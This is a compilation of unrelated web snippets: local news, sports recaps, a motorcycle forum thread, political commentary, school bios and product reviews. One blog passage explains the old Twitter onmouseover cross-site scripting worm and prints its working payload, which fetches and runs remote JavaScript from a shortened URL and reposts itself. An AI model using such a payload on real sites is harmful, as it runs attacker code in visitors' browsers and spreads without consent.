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Trabocco Kitchen & Cocktails hosted a fun and tasty benefit for the Alameda Civic Ballet on Friday, three days before it officially opens at South Shore Center on Monday, Nov.18.
Co-owner Christine Naish Naccarelli, a longtime dancer and board member of the ballet, staged the event along with fellow owner, husband and chef Giuseppe Naccarelli (above).
"We are so excited to bring something unique to Alameda," she said. "The restaurant is exquisitely beautiful and we are amazed at how this vision has come together."
(Restaurants have "soft openings" to get the service and kitchen staff used to working with customers, preparing meals and delivering them to clients in a timely fashion. The Naccarellis had a VIP event at their new restaurant on Saturday, Nov. 16.)
"From the beginning, we wanted a soft opening that would involve the Alameda Civic Ballet," the co-owner said.
The Naccarellis began work on the restaurant about 18 months ago, when they heard that the previous Italian restaurant at the same location, Zeytini, had closed. "That piqued our curiosity," Naish Naccarelli said.
Giuseppe Naccarelli had been with Il Fornaio for nearly 20 years and was vice president of kitchen operations for the company's 22 restaurants.
"We were not looking to open a restaurant, but we saw this opportunity," Naish Naccarelli said. "We live here and love the town. It became worth it to us for him to leave the great job he had with Il Fornaio. We decided to be brave and go out on our own."
On Friday night, guests enjoyed wine from the Abruzzo region of Italy (where the chef is from), along with tasty salads, appetizers, pizza, fish stew and other dishes. The terramisu is served in large slices and is extremely delicious. The bar is also very good at making specialty cocktails with liquor from St. George Spirits.
With Trabocco's opening at the mall, Alamedans are likely to make lots of trips to South Shore for more than groceries or gift shopping.

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Twin Cities, Minnestoa (PRWEB) February 20, 2014
Twin Cities home sellers barely have time to get organized, packed and ready to moved after closing day as homes spent just 93 days on the market in January, according to Minneapolis Area Association of Realtors (MAAR) reports. The brisk pace has depleted Twin Cities housing inventory to a mere 2.7 months supply. With inventory availability hitting the lowest level in a decade or more, it is creating a terrific sellers market, regardless of extreme Minnesota cold winter weather.
"Nearly every housing metric in the Twin Cities metro is on the upswing. From home prices, number of day till sale, higher ratio of traditional home sales, coupled with fewer foreclosures and short sales, are all positive. The stark factor in the mix is the lack of housing inventory," says Jenna Thuening, owner of Home Destination. "It can be challenging for some metro homebuyers, who find options on the thin side, and who are asking when they will have more Twin Cities real estate listings to choose from.
MAAR encouraged metro residents to "Look for some signs of inventory and sales activity thawing, but keep your jacket handy as activity always varies by location and segment". Twin Cities inventory has plummeted since its peak in 2007. January 2014 marked a new low of 11,690 properties actively listed for sale which is approximately 5,000 fewer homes for sale than January's inventory 10 years ago in 2004. Across the Minneapolis - St. Paul housing market, for the week ending February 8 the numbers reported are as follows:
Buyers closed on 2,536 properties last month. Traditional sales were up 6.2 percent while foreclosure sales fell 34.7 percent and short sales 54.3 percent. Foreclosures and short sales made up 29.4 percent of all closed sales last month, down from 42.2 percent a year ago. New Twin Cities real estate listings declined 11.5 percent to 4,247 overall. New listings for traditional homes rose 7.9 percent, while new listings for metro home foreclosures and short sales fell about 50 percent each, according to Finance Commerce's Twin Cities report.
On an individual basis, there was an decrease in inventory levels for 17 of the 21 cities Home Destination tracked, 15 of which are in the double-digit figures. In contrast, just four cities witnessed a increase in the number of real estate listings available to Minneapolis metro real estate buyers, according to MAAR local market updates.
January 2014 Months Supply of Inventory Across Several Twin Cities Housing Communities:
"The latest drop in real estate listings comes on top of news that December Months Supply of Inventory decreased 15.6% to 2.7. Given how far the Twin Cities real estate recovery has progressed, many area homeowners may find it the perfect season to reassess their situation," comments Thuening. "Some potential Twin Cities real estate sellers who have been hesitant to sell in recent years are now discovering that they in a completely new and more positive different position. Sellers are finding they have new home equity which empowers them to sell now and move-up to another home."
Low Twin Cities housing inventory or more specifically, the low number of quality finished vacant inventory is one of the best indicators of the health of a housing market, according to MetroStudy's January 29th report titled Twin Cities New Home Growth Showing Signs of Slowing as Affordability Weakens.
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Lobo Softball
Sunday: Lobos 11, Texas Tech 8
Up Next: Lobos at Okla St, Friday, Saturday, Sunday
By Richard Stevens -- Senior Writer/GoLobos.com
In a way, the New Mexico Lobos' dramatic 11-8 win Sunday at Lobo field was a microcosm of what Ty Singleton's Lobos might have to do all season: hang in there, fight to the end, never say never.
Singleton says the fight in the Lobo is a key element for this year's team and he saw fight, determination and focus Sunday after his Lobos fell behind Texas Tech 6-0 after a half inning of play.
It was the Lobos fifth game in the weekend. They were a bit tired. They were down 6-0. So, what do you do, Lobos? Roll over or fight?
"I thought they did a fantastic job of not getting discouraged by that deficit," said Singleton. "I think we're going to have to do this several times this season where we fight back and win games.
"I think one of our team's qualities is that we are going to fight and scrap. That has to be a part of our character."
The Lobos didn't waste any time fighting back against Tech. Senior Samantha Hughes singled and stole second to quickly establish there was some fight in these Lobos. Jessica Lujan-Dresslar doubled in Hughes. Shenise Cox singled in Lujan-Dresslar. Shaunte Duarte doubled in Cox and Analise Rubalcava. Erin Brandow singled in Duarte. The Lobos came out of the inning down 6-5. Game on.
"That's not the way you want to start out," Singleton said of the early 6-0 hole. "I was really proud of the girls' composure and how they battled back."
UNM's first seven batters of the third inning reached base and the Lobos scored six runs in that frame to take command of the game 11-6. The win bumped UNM to 6-7 on the year and Tech fell to 3-10. UNM went 3-2 in the Lobo Invitational after a 0-2 start.
Against Tech on Sunday, the Lobos had multi-hit games from Lujan-Dresslar, who went 2-for-4 with three RBIs; Cox, who went 3-for-4 with two RBIs and two runs scored; and Duarte, who went 2-for-3 with four RBIs and two runs scored. That trio of Lobos combined for nine RBIs and seven runs.
UNM also got hits from Hughes, Brandow and Cristin Anderson. UNM totaled 10 hits and the Red Raiders pounded out 11 hits. Elizabeth Eimen was the big stick for Tech going 2-of-4 with three RBIs.
Singleton said Sunday's win and rally was a big turnaround from the Lobo team he saw drop two close games in Friday's action in the Lobo Invitational: 4-3 to Wisconsin and 7-5 to Drake.
"I was disappointed the first day," he said. "Our fight and our enthusiasm was very discouraging for me. We're going to have to fight for every game and we didn't come out with an element that is going to be key for us all season. Then, we were just the opposite on Saturday and today (Sunday) and it was exhilarating to watch."
The turnaround in the Lobos' play came about in kind of an odd way. Oh, there was the usually coach-speak thrown at the Lobos in a stern voice.
"There were quite a few things said," Singleton said. "The essence of the talk was that you (Lobos) are softball players and you have special gifts, but if you don't play hard, you are shortchanging those gifts."
There also was a physics lesson from assistant coach Jimmy Hernandez. "Jimmy told them that water at 211 degrees is just hot water," said Singleton. "But water at 212 degrees boils and creates steam and steam is very powerful. We needed to go out there and turn it up a degree."
It isn't certain which talk made the most impression on the Lobos - Singleton steaming a bit, or Hernandez's physics lesson on steam - but the end result has the Lobos cooking with gas and riding a three-game win streak. Toward a very tough Oklahoma State team.
"Oklahoma State is a very good team with a lot of home-run power," said Singleton. "It will be a great experience for this team to play in that type of environment against a very solid team."
So far in the young 2009 season, the Lobos have looked solid at the plate, solid in the field and competitive on the pitching rubber. The pitching is a huge key for the Lobos as Singleton lost three young members of his pitching staff for a variety of reasons including shoulder injury and homesickness.
He has recruited two of his position players to join freshman Danielle Castro in the circle and the results have been promising. Freshman Kerry Hodgins, recruited as an outfielder, picked up the win Sunday against Texas Tech and is 2-0 on the season. Rubalcava, primarily an infielder, also is doing good work in the circle.
"Kerry is a kid who pitched some in high school and we just recently gave her the ball and she has two wins," said Singleton. "Kerry threw a little bit this fall, but for the most part she hasn't pitched since high school and that's not her primary position. We had her start throwing again last week.
"She did a good job of keeping the ball low and hitting corners and changing speeds. Analise (3-4) is making progress and hitting spots. I'm pleased with her composure out there. Our pitching is not going to overpower anyone. We just have to keep the ball low, keep it moving, hit spots and let our defense make plays."
The Lobo sticks have made some noise this season with six Lobos hitting over .300: Duarte (.520), Janet Rendon (.429), Hughes (.372), Lujan-Dresslar (.359), Katie Gilmore (.326) and Rubalcava (.313).
The Lobos return to Lobo Field March 7-8 for two doubleheaders against Iowa State.


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On Tuesday, information about ticket distribution for the event - which will take place on Friday, Oct. 12 - and the annual campout that precedes it was released. Fans can begin lining up for tickets at Memorial Coliseum on Wednesday, Sept. 19 at 7 a.m. Last year's campout set a record with 570 tents. UK Athletics asks fans to be respectful and safe in finding places in line.
Tickets are once again free and will be distributed at 7 a.m. on Saturday, Sept. 22. There will be a limit of four tickets per person. Tickets will be available at the same time online at UKathletics.com and Ticketmaster.com. Tickets are limited to four per household and will have a minimal service fee attached.
For those fans wishing to camp out, UK will provide portable restroom facilities, but permanent, wooden-type structures; portable generators; and propane tanks or other open frames are prohibited. Campers will be issued control cards beginning at 2 p.m. on Friday, Sept. 21. No cards will be issued after 7 a.m. on Saturday, Sept. 22 and all people with control cards must also be in line at that time.
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Karen Swanson of Moorhead helped start the Fargo-Moorhead Challenger baseball league for kids with special needs. She is also working on a rural group home where adults with special needs could live and work. Photo special to The Forum
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Congress right now is debating farm programs and funding as it looks at the new Farm Bill. Unfortunately, cutting budgets is a big topic of conversation. In the Senate, there is agreement to dedicate $16 million per year to organic research. In the House, the figure is only $5 million per year. Either amount would be far short of a real "fair share" of farm research spending. Given the growth in organic farming and its growing importance to people buying organic foods, a real "fair share" would be close to $100 million per year. The Senate is only suggesting $16 million per year, which we suggest is far better than what the House has on the table. That's why Farm Aid a few days ago joined dozens of other family farm and food organizations to sign a letter to the members of Congress negotiating over the Farm Bill urging them to do the right thing and support the Senate plan.
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Not Your Mama's Holiday Show (Unless She's Bette Midler)
With the burlesque trend sweeping the country and Christina Aguilera strutting into a theater near you, seems like every Chicago woman is taking off her clothes in the name of nostalgia. Not these Broadz. Though billed as a burlesque sketch comedy troupe, the women of Off Off Broadzway do more satire than stripping, but their comedy leaves nothing to the imagination.
Our Town Howd you Broadz get together?
Off Off Broadzway Most of us were involved with sketch comedy groups [and] crossed paths. We got talkingand drinkingand decided we needed to get a bunch of us ladies together and show that women can be funny and hey, kinda sexy too. Our first show was in June of 2008 at The Spot. Since then we've been whoring ourselves out to anyone that will have us!
OT Your humor pushes boundaries. Ever worry about offending your audience?
OOB We hear time and again that we get away with comedy murder because 1) were all female and 2) were in our panties. We do try to see what we can get away with. If you are going to a show called Let it Ho you cant expect Shakespeare. Were gonna poke fun at you, around you and on you. Sit back and enjoy the f**king ride.waitcan we say f**king?
OT Where do you fit in the Chicago burlesque scene?
OOB [Initially] we all got together to watch videos of old timey burlesque shows [which] really just confused us. The women were only there to take out their boobs and the men did the joke telling. We were like, "Are people gonna expect to see our boobs? ARE WE GONNA TAKE OUT OUR BOOBS????" Then we reminded ourselves we were a sketch comedy group parodying burlesque.
OT Is your no nudity stance a feminist thing?
OOB [Our characters] want your money but are too fat to take their clothes off. We don't care who takes off their clothes as long as it's not us.
OT Speaking of feminism, what inspired that puppet song? By the way, whats it actually called?
OOB The name is Puppet Songyoure good. Jill Valentine (Dolly Natrix) wrote [it] to poke fun at womens stereotypes. She wanted something funny but that also made a point. Like putting a pill in a piece of cheese, we make a point and hide it in a dirty, glittery, foul-mouthed package so you can stomach it.
OT You each convey a distinct persona–
OOB Each girls character is a facet of their personality totally enhanced and amplified.
OT So, whats up with Ricki Dickyoulesss ham fetish?
OOB Mandy Whitenack, who "plays" the "character" has a bit of an obsession with meats. We were once at a fundraiser and when Mandy found out they were throwing away a half-eaten ham, she asked if she could take it home. And she did…in a trash bag. She also can only give directions in relation to the closest Long John Silvers.
OT What can audiences expect from the holiday show?
OOB Tops of boobs, original music, hot-ish ladies, XXX funny, and free boners.
Let it Ho! runs Thursdays at 8 p.m., December 2-23 at The Spot. To learn more about The Broadz visit http://offoffbroadzway.com/
A freelance writer with an MFA in Creative Writing from The School of the Art Institute of Chicago, Sarah Terez Rosenblum, when not writing, supports herself as a figure model, Spinning instructor and teacher at Chicago's Story Studio. Inevitably one day she will find herself lecturing naked on a spinning bike. Shes kind of looking forward to it actually.


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Since the 1980s, Ulrich Beck has worked extensively on his theories of second modernity and the risk society. In Ulrich Beck, Mads P. Sørensen and Allan Christiansen provide an extensive and thorough introduction to the German sociologist's collected works. The book covers his sociology of work,...
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Black-Eyed Susan's
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Dinners are divine, but it's the breakfasts that soar.
The Boarding House and The Pearl
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All roads lead here, and at some point, everyone ends up on the patio. The Boarding House serves a Mediterranean menu and serious cocktails upstairs.
Next door, its sister restaurant is a sexy and sophisticated experience that looks to Asia for inspiration.
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BrightFocus Foundation is a nonprofit organization supporting research and providing public education to help eradicate brain and eye diseases, including Alzheimer's disease, macular degeneration, and glaucoma. We are working to save mind and sight. BrightFocus is at the forefront of brain and eye health, advancing early-stage, investigator-initiated research around the world. We also provide free educational materials to people affected by or interested in these diseases, empowering them to take action for themselves and others. They can take advantage of news and research results offered through BrightFocus websites, publications, social media, videos, podcasts, and TV and radio public service announcements. A nonprofit organization under section 501(c)(3) of the Internal Revenue Code of the United States, we were founded in 1973 and known until February 1, 2013 as the American Health Assistance Foundation. We chose our new name—BrightFocus Foundation—to reflect our vision of a world where everyone experiences life fully and with clarity. Read about the work of our three programs:
We disseminate vital information to the public—especially those affected by diseases that have an impact on mind and sight—through our website, print publications, social media, as well as TV and radio public service announcements (PSAs). Through our toll-free phone number, 1-800-437-2423, people can speak directly with a member of our information services staff, Monday through Friday from 9am to 5pm Eastern time, for answers to questions, support, and referrals.
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BrightFocus is one of America's leading supporters of basic scientific investigations to better understand and find cures for Alzheimer's disease, age-related macular degeneration and glaucoma. BrightFocus has awarded more than $140.3 million in research grants to some of the most prominent scientists at universities, hospitals and medical centers around the world, as of July 1, 2014.* BrightFocus is currently supporting a total of 133 research grants:
Find information concerning the grant application process and our scientific review committees.
BrightFocus Foundation's website includes helpful information about risk factors, symptoms, screening, diagnosis and treatment of Alzheimer's disease, age-related macular degeneration and glaucoma. The website also has the latest medical news and in-depth topical articles written by experts:
Medical illustrations and videos provide easily understood descriptions of the brain, the eyes and the progress of these diseases. Additionally, the website provides resources for those living with the effects of Alzheimer's disease, age-related macular degeneration and glaucoma. This includes ways to accommodate changing needs, stay safe, use low vision aids, find financial and legal assistance, and choose long-term living arrangements.
BrightFocus has a number of free booklets and brochures on these same topics, and these publications may be ordered by phone, mail or online. Most materials are also available in Spanish; booklets and brochures on eye diseases are in large print:
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Hey guys, has been a while since I have been on this forum, but had a question that I expect I can get some honest feedback on with a bit of a limit to the bashing if I go to either a Triumph or Harley forum.
I recently sold my '07 R1200 GSA and have continued to ride my '05 Harley Road King Custom. I have done a lot of upgrades to this bike, engine, suspension, many custom parts - it is one of a kind and set up for me to enjoy around town or on thousand mile trips. Lots of storage, comfortable, decent performance.
The down side is really only the vibration and the fact that I often smell of fuel when I get back from a ride (they have never been able to get it to not run a bit rich).
Anyhow, I have owned many Triumphs in the past and really love their bikes. I have lately been considering the Rocket 3 Roadster as a replacement for my 40,000 mile Harley. I can get a really good deal on one right now from a local dealer as well.
The Harley has copious amounts of storage with hard bags and a Tour pac. If I go to the Rocket I will have to pick up bags (probably Corbin beetle bags) to even get anywhere near the storage of the Harley and even then it will be short.
The main reasons for my potential move is better performance (the 2300cc Rocket 3 has it in spades), the improved breaking (Rocket comes with ABS - the brakes on my '05 Harley are weak to say the least), and the thought that I could easily get 100k miles out of that big Triumph in-line three cylinder. It also seems like it will take less general maintenance as they are at 10K mile intervals.
The down side to the Rocket 3, aside from the storage, would probably be the cost of replacing that 240mm rear tire every 6-8,000 miles.
Would love to hear you guys thoughts. I am not touring as much as I used to on the Harley. So aide from some commuting (mostly highway), it will get take on a few 500 mile trips and maybe 1 1000+ mile trip per year. I put anywhere from 5-10,000 miles per year on my bike in general.
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The Rocket 3 Roadster is pretty epic though.
If the shop cannot tune your bike properly, why do you continue to go there?
Get the Rocket
I just went down earlier today and put a down on a new 2013 Triumph Rocket Roadster. I am also tall (6'6") with a 36" inseam and the bike fits me quit well. My current ride is a BMW R1100GS that I love and it's a bike I would never get rid of.
I rode the Harleys, then the Victory's which are all good in my opinion, but the Rocket feels better and the performance for a large bike is astounding, handling is very good as well for such a large bike. Best thing it brought a huge smile on my face when I first road one. Tomorrow I pick mine up and the fun begins.
Triumph builds a really nice bike these days. I've owned several of the modern ones and never had a problem with any of them. I've ridden the Rockets but never owned one. I really liked the roadster version. Outstanding performance and it felt much lighter than it actually is. The touring version, on the other hand, seemed like you could feel every ounce of it. Just gave me the impression of an overweight machine. Might also be nice to have the liquid cooling when you're stuck in our Dallas traffic.
I do like Harleys, but I've owned most of the other brands as well. I'll buy any of them that feel good to me and I think are built well. If you've ridden the bike and like it, I'd say go for it. You only live once. And if you're dealing with RPM Cycles, they will treat you right. It's my favorite dealership in the Dallas area.
I'm just the right size for my XR1200 (5'10", 180lbs). I sat on a Rocket 3 and felt like a midget. Please post pics when you get it.
I put 14000 miles on an 08 R3 in 08. Added EDGE 103XL bags on EZ Brackets and a medium bag straped to the rear seat. Plenty of space.
Rode all over New England and PA with all my H-D buds and the R3 leaves them for DEAD on all the hills.
Having had 3 Harly 1200's and an Evo as well as a twin cam 88 I'm fairly well versed in the H-D bikes. As well, I've been on two 110 inch bikes owned by friends.
The R3 playes in a completly different time zone. The motor is outstanding. If there are any hills involved or you don't like grtting stuck behind 5 semi trucks, well, there you go. It's not for everybody but you'll know in 5 minutes after a ride if you want it or not.
Love the Rocket the only problem is you have to look at it! Might be the ugliest bikes I've ever seen. I'm not saying that would stop me from buying one though, I'd just close mybeyes until I got on that's all.:D
Yea, I am dealing with RPM. I have bought multiple bikes from them over the years. Clif, Boris and Lindsey are all old friends. Its one of the best shops in town in my opinion.
My '05 has the 95 upgrade on it and runs very well. However, its still not a lot of juice for a big guy. I do tend to hesitate on long overtakes, which would just go away on the Roadster.
To be honest, after having spent the last 10 years in the HD community and watching bike after bike end up being rebuilt my faith has wavered. I have yet to have to replace my stator or the chain tensioners. However, the top end had to be rebuilt at 30k due to an oiling problem, thus the upgrade to the 95.So I am just waiting for something else to need to be done. As a 30+ year car builder (last 10 have included bikes too), there are a few design elements to the Harley that just have me confounded. Things that just make me scratch my head wondering why, while I redesign/relayout what was done in the factory on my bike and others. Thus, my Harley has been pretty throughly redesigned in many aspects.
Thus, from a performance and design standpoint what I like most about Triumphs is that they are solid bikes, made in a straight forward manner (you can actually pull the oil filter without having to have a funnel under it to make sure the oil does not drain on to the frame - go figure!).
This would, in all honesty be a no brainer decision if it were not for my involvement in the biker community. In my past time I work in a capacity that brings me into contact with a lot of bikers. Many of which will accept the Triumph from a brand recognition standpoint (they grew up bobbing Bonnivilles), but others who will shun it not being an HD. Sadly, there is a definite connection that will be lost with this change. So this aspect makes my decision to switch a hard one. Being accepted as a Chaplain is hard enough with people even though my 'job' is not one of conversion - the biker in Biker Chaplain is just accepted to mean HD.
Thanks for all the input, other thoughts welcomed.
You are partly right
It looks like a stripped down roadster, which is exactly what it is.
Ultimate adventure rig
My neighbor uses a Rocket to tow his ultralight. It's an impressive display. I think of it as the ultimate adventure setup. When the road ends he can explore by air. I need to get a pic.
I think the R3 is way cool, and I would love to have one.
I had at least one Harley in my garage for over 20 years before tiring of them, so I know of the whole "culture". I do not care one least little bit if the Harley owners (and IME there is a world of difference between Harley owners and Harley riders ) accept my ride, but as a Chaplain surely you know just as many doors can be opened with the Rocket. Faith.
One of the many things I like about my Roadster is the versatility. I can go from a full touring set up with saddlebags, trunk, Air Hawk and shield to solo seat roadster/hooligan in about 20 minutes.
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Newgarden Fights for Podium, Finishes 2nd in Baltimore
Josef Newgarden fought his way through multiple crashes, six extended caution periods and extreme heat to finish the Grand Prix of Baltimore presented by SRT in second place, his first podium and highest IZOD IndyCar Series finish in his young career.
The Sarah Fisher Hartman Racing (SFHR) driver started the 75-lap race from the fifth position, but fell back as far as 19th place before driving his way forward through the field.
"I don't know how I finished second to be honest with you," Newgarden said modestly. "I got hit probably six or seven times in the rear. I know I slammed into people myself from getting hit. I don't even know how to describe this race to anybody. I think everyone had some good and bad luck. Fortunately the good luck cycled at the end of the race for us and we finished off great."
Newgarden found his No. 67 SFHR Dallara/Honda/Firestone car stuck in the back of a multiple car crash on lap 47. He found his way back on track with no major damage, but had a great deal of ground to make up.
The 22-year-old successfully maneuvered around two more multiple car collisions, and with five laps remaining he found himself in second place, directly behind eventual race winner Simon Pagenaud.
"We wanted to challenge Simon (Pagenaud) but we had a bit of a brake mishap at the end," Newgarden said. "We were really struggling with trying to keep the pedal solid. I think the heat was getting to everybody today. It was really difficult to keep the cars cool and it definitely bit us at the end.
"I think we just boiled the temperature too much in the calipers and the fluid was boiled over. As soon as that happens it's so hard to get it back. The tires were fine I just couldn't brake. I was doing everything I could to hold Sebastien (Bourdais) off at that point. I don't know what would have happened if I could have raced Simon at the end, but I really think we would have given him a run for his money and had a shot. It would have been fun. Simon and I are friends, he's a good guy and I would have liked to race him. Second place is a great result for our team though, and we'll take it."
At the end of the day, Newgarden gave all of the credit to his team.
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So it seems the new twitter.com has a "virus" going around.
Few minutes ago my twitter stream filled up with strange jQuery calls so I looked into it.
Apperantly the new Twitter website is colunerable to a simple SQL-Injection like attack.
It'll just spit out to the page whatever HTML code you write on your status…
So, the exploit work like this:
Step 1:
User writes the following status line:
the @" basically closes the tweet's html element title attribute and lets the hacker had his own attributes. Specifically an onmouseover attribute that'll run his JavaScript code when the users hover over the tweet.
Step 2:
The onmouseover event fetches and executes a remote JS code from
Step 3:
The remote script (which is not subject to size limits like the script embedded in the user's status can basically do whatever the hacker wants.
This one just plays with the page's HTML to submit a new tweet (from step #1) and spread itself on:
$('#status').val("http://t.co/@\"style=\"font-size:999999999999px;\"\ onmouseover=\"$.getScript('http:\\u002f\\u002fis.gd\\u002ffl9A7')\"/"); $('.status-update-form').submit(); $('#status-field-char-counter').html("ekampf owns you!"); $('#status').val('I read how to do this on DeveloperZen.com'); $('.status-update-form').submit();
Besides submitting tweets, you can pretty much do whatever you want with the page's UI etc…
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DULUTH -- Dozens of men stand in line behind a curtain, tired from eight hours' work on Lake Lanier and holding their day's catch in vats of water.
An audio and visual mega-board with dozens of monitors and hundreds of switches sits beside them. On the other side of the curtain sit six beautifully painted fishing boats splayed out around a red-carpeted stage, a complex lighting system and five enormous projection screens.
One by one, a host calls their name and it's their turn to weigh in.
All of this is part of the nightly events surrounding the Forrest Wood Cup, bass fishing's premier event, held this year Gwinnett Arena.
"The Gwinnett Arena is just unbelievable," local fisherman Tom Mann Jr. said. "This is my seventh Forrest Wood Cup, and I've been in eight Bassmaster Classics. And this will be the best venue any of those places have ever had."
Those unfamiliar with pro fishing would be shocked at the production value of a Forrest Wood Cup weigh-in.
Dozens of people and several days of preparation work go in to setting up the stage, all meant to put on an unparalleled spectacle for fans and visitors -- and even the competitors.
"This is just really cool," Jake Gipson, one of the few competing college fishermen, said on stage Thursday.
Thursday evening's event saw only a few hundred observers, mostly friends and family. But as cuts are made following today's fishing and Saturday's excursions, the field will narrow and the drama will escalate as the competition comes closer to a winner.
With all-day arena activities just gearing up for the weekend (there will be a tank and a Black Hawk helicopter landing today, just to name a few), crowds will grow and the spectacle will be even greater.
"By Sunday we'll have 'em packed to the rafters," host Charlie Evans told the crowd Thursday.
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In the past few weeks, the U.S. Senate races of 2014 have started to take shape.
Elizabeth Cheney, daughter of the former vice president, announced that she would take on Sen. Mike Enzi of Wyoming in a Republican primary. Senate Republican leader Mitch McConnell of Kentucky got a challenger, too, in businessman Matt Bevin. And Rep. Tom Cotton, an Arkansas Republican, has decided to run against incumbent Democratic Sen. Mark Pryor.
What's going to get the most attention, appropriately, is whether Republicans can retake the Senate. But there are other questions at stake in the election, and we'll find out some answers as the races develop.
First, is President Barack Obama's health-care law going to be a hit or a flop? And will Republicans finally offer an alternative? Liberals think that as the law is put in place, people will appreciate their new benefits and support for it will rise. Conservatives think the start of the Affordable Care Act will be something between a disappointment and a disaster. If they're right, the best bet for Democrats will be to change the subject to the Republicans' lack of a plan.
If red-state Democrats such as Pryor and Mary Landrieu of Louisiana start running away from the law — declaring their support for delaying some of its provisions, for example — we'll know conservatives are winning the argument.
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Fourth, have Republicans learned from the races they threw away in 2010 and 2012? They could have won several Senate seats had they nominated merely mediocre candidates rather than disastrous ones. Rep. Paul Broun, running for the Senate in Georgia, has a habit of mentioning Obama in close proximity to words like "Hitler" and "Soviet," and he says that the Big Bang theory, embryology and evolution are "lies straight from the pit of hell." If Republicans pick him, they will show that they've learned nothing — and that they no longer have any truly safe Senate seats.
Fifth, will there be a "wave" in which most of the competitive races break to one party or the other? Republicans are placing their hopes on the dubious theory that the public gets a "six-year itch" during a two-term presidency. It may also be that Republicans now have a strong advantage in midterm elections, in which a lot fewer Americans vote than presidential elections.
Sixth — the big one — will control of the Senate flip to the Republicans? The map favors them: Twenty-one Democratic seats will be up in 2014, compared with 14 Republican seats, and Republicans need a net gain of only six to get a majority. But the map favored Republicans in 2006 and 2012, too, and they managed to lose ground both times.


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Freewall – Slick jQuery Plugin For "Dynamic Grid Layouts"
7 Nov
Let's call this again as "Pinterest-like layouts" which probably tells itself better than "dynamic grid layouts".
Such layouts are really functional to display elements with different dimensions nicely and don't lose their popularity.
Freewall is an impressive jQuery plugin for creating these layouts with CSS3 animation effects.
The plugin supports responsive layouts and has useful methods like "adding more items to the grid" or "filtering them".
Various customization options exist like the animation, delay or the gutter sizes.
And, Freewall offers callbacks for events like complete, gap found or resize.
Requirements: jQuery
Compatibility: All Major Browsers
Website: http://vnjs.net/www/project/freewall/
Compatibility: All Major Browsers
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In 1997, Dr. Lutz established the Physiatry Department at HSS and became Physiatrist-in-Chief. With the support of the hospital administration and his colleagues, he grew the Physiatry Department to thirteen physicians who provided care for over 50,000 patient visits in 2012. In addition, Dr. Lutz established the Physiatry Spine & Sports Medicine Fellowship and has mentored over 50 fellows in practice throughout the USA.
In 2004, Dr. Lutz received the PASSOR (Physiatric Association for Spine Sports and Occupational Rehabilitation) Research Award, given to one physiatrist annually who has demonstrated excellence in musculoskeletal research.
Dr. Lutz is currently Associate Professor of Clinical Rehabilitation Medicine, Weill Medical College of Cornell. He is currently the Physiatrist-in-Chief Emeritus for Hospital for Special Surgery and is a member of the board of trustees. He is also consulting physician to the National Hockey League Players' Association.
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Dr. Jeff Stephens began his career in Weber School District in 1984 as an English and Reading teacher at Wahlquist Jr. High School. In 1994 he was appointed as an administrative intern and served in that capacity for one year at Roy High School. Dr. Stephens was named assistant principal at South Ogden Jr. High in 1995 and was appointed as principal at South Jr. in 1998. He served in that capacity until 2000 when he was named as Curriculum and Instruction Director for Weber School District. In 2004, the Weber School District Board of Education appointed Dr. Stephens to the position of Assistant Superintendent where his responsibilities included involvement with curriculum and instruction programs, CTE and the Foundation. In April 2011 Jeff Stephens was named as Superintendent of Weber School District. Dr. Stephens received his Bachelor of Science Degree and Master of Education Degree from Weber State University; his Administrative/Supervisory Endorsement in 1993 and received his Ph.D. in Curriculum and Instruction from Utah State University in 1994. He has also received an Advanced Reading Endorsement from the Utah State Office of Education. Dr. Stephens has provided leadership in local, state, and national professional organizations and has been presented with numerous recognitions, honors and awards for his leadership and abilities. Weber School District is pleased to have Dr. Jeff Stephens at the helm of the District.
Lex Puffer was raised in Roy and educated in Weber School District. He has taught, coached, and served in administrative positions in Weber School District for over 30 years. He began his education career as a teacher at T.H. Bell Jr. High School where he taught Social Studies. He moved on to Bonneville High School where he taught Spanish, Social Studies, and Mathematics. He was later appointed as assistant principal at his alma mater, Roy High School. He then served as principal at South Jr. High School before being appointed as the district's Supervisor of Secondary Education and later as the Executive Director of Secondary Education. Currently, he is serving as Assistant Superintendent of Weber School District. Mr. Puffer received his Bachelor of Arts Degree in Spanish, Physical Education and Coaching from Utah State University where he graduated magna cum laude. He received his Master of Education Degree from the combined Utah State University / Weber State University program and his Administrative / Supervisory Endorsement from Utah State University. Mr. Puffer has served on multiple school, district, and state committees and has provided leadership as a district administrator for over 20 years. He has been a member of several professional organizations. We are pleased to have Mr. Lex Puffer as a member of our educational team in Weber School District.
Jane Ann Kammeyer has had a passion for teaching and learning for over 30 years! After teaching in elementary classrooms for 14 years in Weber School District, she entered administration. Her leadership experience began as an elementary intern for two years and then principal of Washington Terrace Elementary for three years. Jane Ann was appointed as the district's Curriculum Supervisor in 2003 where she worked with elementary language arts, gifted and talented education, Title I, and ESL. In 2011, Jane Ann was appointed Director of Curriculum and Instruction. In 2014, the Weber School District Board of Education named Ms. Bitton as an Assistant Superintendent. Jane Ann will continue to oversee the district's curriculum department, as well as supervisory roles with special education and the Weber School District Foundation. Jane Ann graduated from Bonneville High School; received a Bachelor of Science Degree in Elementary Education from Weber State University; and earned an Administrative/Supervisory Endorsement and Master's Degree in Special Education from Utah State University. Ms. Bitton has served on numerous educational boards and organizations throughout the state. She is currently President of the Utah ASCD, a state-wide organization that focuses on best practice in teaching, learning and leadership. Weber School District is fortunate to have Ms. Jane Ann Kammeyer as a member of the Superintendency.


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alana c. | Sunday, March 22, 2015 | NY
I absolutely love this stuff! Not only does it smell delicious and fresh it really works clearing up acne on my back!
Michelle M. | Monday, July 14, 2014 | CA
Miracle product!
I purchased this on a whim because other products were not working for my acne on my back. For years I have struggled with acne on my back area and when some products dried out my skin, I would scratch them and be scarred all over my back. This is the first Mario Badescu product I have tried and it has helped improve my skin and even fade some of my scars. This product has been a miracle for my sensitive skin and I use it everyday I love it so much.
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Great for age spots
I ordered this and never imagined I could get results like this out of a body soap. I am almost 50 years old and have some severe age spots on my arms. After using this, for the first time ever, they are fading. I bought it because my skin is super oily and never dreamed that it would also work for age spots. I had just resigned myself to having them. They should add this to the description of it. I am talking a dramatic fading of the spots.
Heather F. | Tuesday, April 17, 2012 | PA
Awesome body wash!
I got this as a sample with a previous order and liked it so much I just ordered a full size. I thought the AHA would be irritating to my sensitive skin, and at first it may have caused some itchiness on my arms, but then my skin acclimated and responded really well to this body wash. Lovely clean scent, and it helped smooth out my back and chest.
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I absolutely love this body wash. It cleans without drying. It removes all the yucky residue from your skin and really clears up body acne!! I am thrilled with the results
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This is fabulous! All my friends were in awe of how soft my skin was after I started using this. I pair it with the papaya lotion for amazing results. A must!
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smells and feels wonderful
